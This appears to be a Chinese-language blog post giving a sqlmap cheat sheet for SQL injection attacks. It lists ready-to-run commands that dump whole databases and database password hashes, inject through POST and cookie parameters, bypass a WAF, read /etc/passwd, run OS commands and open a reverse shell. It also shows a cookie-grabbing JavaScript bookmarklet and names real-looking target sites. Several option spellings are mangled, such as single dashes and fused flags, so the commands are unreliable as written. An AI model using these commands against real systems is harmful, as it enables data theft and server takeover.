sqlmap 详细用法

基础用法:

sqlmap -u "注入地址" -v 1 -dbs // 列举数据库
sqlmap -u "注入地址" -v 1 -current-db // 当前数据库
sqlmap -u "注入地址" -v 1 -users  // 列数据库用户
sqlmap -u "注入地址" -v 1 -current-user // 当前用户
sqlmap -u "注入地址" -v 1 -tables -D "数据库" // 列举数据库的表名
sqlmap -u "注入地址" -v 1 -columns -T "表名" -D "数据库" // 获取表的列名
sqlmap -u "注入地址" -v 1 -dump -C "字段,字段" -T "表名" -D "数据库" // 获取表中的数据,包含列

已经开始拖库了,SQLMAP是非常人性化的,它会将获取的数据存储 sqlmap/output/ 中。

sqlmap post注入

我们在使用Sqlmap进行post型注入时,
经常会出现请求遗漏导致注入失败的情况。
这里分享一个小技巧,即结合burpsuite来使用sqlmap,
用这种方法进行post注入测试会更准确,操作起来也非常容易。

  1. 浏览器打开目标地址 http:// www.2cto.com /Login.asp
  2. 配置burp代理(127.0.0.1:8080)以拦截请求
  3. 点击login表单的submit按钮
  4. 如下图,这时候Burp会拦截到了我们的登录POST请求
  5. 把这个post请求复制为txt, 我这命名为 search-test.txt 然后把它放至sqlmap目录下
  6. 运行sqlmap并使用如下命令:
sqlmap -r search-test.txt -p tfUPass

这里参数 -r 是让sqlmap加载我们的post请求 rsearch-test.txt,而 -p 大家应该比较熟悉,指定注入用的参数。

sqlmap cookies注入

sqlmap -u "http://127.0.0.1/base.php" -cookies "id=1" -dbs -level 2

默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用 -level 参数且数值 >=2 的时候也会检查cookie时面的参数,当 >=3 的时候将检查User-agent和Referer,那么这就很简单了,我 们直接在原有的基础上面加上 -level 2 即可

利用sqlmap cookies注入突破用户登录继续注入。先把用户登陆的cookie拿到吧:在收藏夹添加一个链接cookies属性,名字自己取 javascript:alert(document.cookie),需要获取当前cookie的时候,直接点一下这个链接,然后复制一下弹出对话框里的cookie值就搞定了。

sqlmap -u http://x.x.x.x/Down.aspx?tid=2 -p tid -dbms mssql -cookie="info=username=test"

-p 是指指定参数注入

sqlmap遇到url重写的注入

哪里存在注入就加上 * 号

sqlmap -u "http://www.cunlide.com/id1/1*/id2/2"

sqlmap 编码绕waf注入

sqlmap -u http://127.0.0.1/test.php?id=1 -v 3 -dbms "MySQL" -technique U -p id -batch -tamper "space2morehash.py"

在sqlmap 的 tamper目录下有很多 space2morehash.py 编码脚本自行加载

其他基础:

sqlmap -u "http://url/news?id=1" -level=3 -smart -dbms "Mysql" -current-user #获取当前用户名称
sqlmap -u "http://url/news?id=1" -level=3 -smart -dbms "Mysql" -current-db #获取当前数据库名称
sqlmap -u "http://url/news?id=1" -level=3 -smart -dbms "Mysql" -tables -D "db_name" #列表名
sqlmap -u "http://url/news?id=1" -level=3 -smart -dbms "Mysql" -columns -T "tablename" users-D "db_name" -v 0 #列字段
sqlmap -u "http://url/news?id=1" -level=3 -smart -dbms "Mysql" -dump -C "column_name" -T "table_name" -D "db_name" -v 0 #获取字段内容
sqlmap -u "http://url/news?id=1" -smart -dbms "Mysql" -users #列数据库用户
sqlmap -u "http://url/news?id=1" -smart -dbms "Mysql" -dbs#列数据库
sqlmap -u "http://url/news?id=1" -smart -dbms "Mysql" -passwords #数据库用户密码
sqlmap -u "http://url/news?id=1" -smart -dbms "Mysql" -passwords-U root -v 0 #列出指定用户数据库密码
sqlmap -u "http://url/news?id=1" -smart -dbms "Mysql" -dump-all -v 0 #列出所有数据库所有表
sqlmap -u "http://url/news?id=1" -smart -dbms "Mysql" -privileges #查看权限
sqlmap -u "http://url/news?id=1" -smart -dbms "Mysql" -privileges -U root #查看指定用户权限
sqlmap -u "http://url/news?id=1" -smart -dbms "Mysql" -is-dba -v 1 #是否是数据库管理员
sqlmap -u "http://url/news?id=1" -smart -dbms "Mysql" -roles #枚举数据库用户角色
sqlmap -u "http://url/news?id=1" -smart -dbms "Mysql" -udf-inject #导入用户自定义函数(获取系统权限!)
sqlmap -u "http://url/news?id=1" -smart -dbms "Mysql" -dump-all -exclude-sysdbs -v 0 #列出当前库所有表
sqlmap -u "http://url/news?id=1" -smart -dbms "Mysql" -union-check #是否支持union 注入
sqlmap -u "http://url/news?id=1" -smart -dbms "Mysql" -union-cols #union 查询表记录
sqlmap -u "http://url/news?id=1" -smart -dbms "Mysql" -union-test #union 语句测试
sqlmap -u "http://url/news?id=1" -smart -dbms "Mysql" -union-use -banner #采用union 注入
sqlmap -u "http://url/news?id=1" -smart -dbms "Mysql" -union-test -union-tech orderby #union 配合 order by
sqlmap -u "http://url/news?id=1" -smart -dbms "Mysql" -method "POST" — data "id=1&cat=2" #post注入
sqlmap -u "http://url/news?id=1" -smart -dbms "Mysql" -cookie "COOKIE_VALUE" #cookie注入
sqlmap -u "http://url/news?id=1" -smart -dbms "Mysql" -b #获取banner信息
sqlmap -u "http://url/news?id=1" -level=3 -smart-v 1 -f #指纹判别数据库类型
sqlmap -u "http://url/news?id=1" -level=3 -smart-proxy "http://127.0.0.1:8118" #代理注入
sqlmap -u "http://url/news?id=1" -string "STRING_ON_TRUE_PAGE" #指定关键词
sqlmap -u "http://url/news?id=1" -smart -dbms "Mysql" -sql-shell #执行指定sql命令
sqlmap -u "http://url/news?id=1" -smart -dbms "Mysql" -file /etc/passwd
sqlmap -u "http://url/news?id=1" -smart -dbms "Mysql" -os-cmd=whoami #执行系统命令
sqlmap -u "http://url/news?id=1" -smart -dbms "Mysql" -os-shell #系统交互shell
sqlmap -u "http://url/news?id=1" -smart -dbms "Mysql" -os-pwn #反弹shell
sqlmap -u "http://url/news?id=1" -smart -dbms "Mysql" -reg-read #读取win系统注册表
sqlmap -u "http://url/news?id=1" -smart -dbms "Mysql" -dbs-o "sqlmap.log" #保存进度
sqlmap -u "http://url/news?id=1" -smart -dbms "Mysql" -dbs -o "sqlmap.log" -resume #恢复已保存进度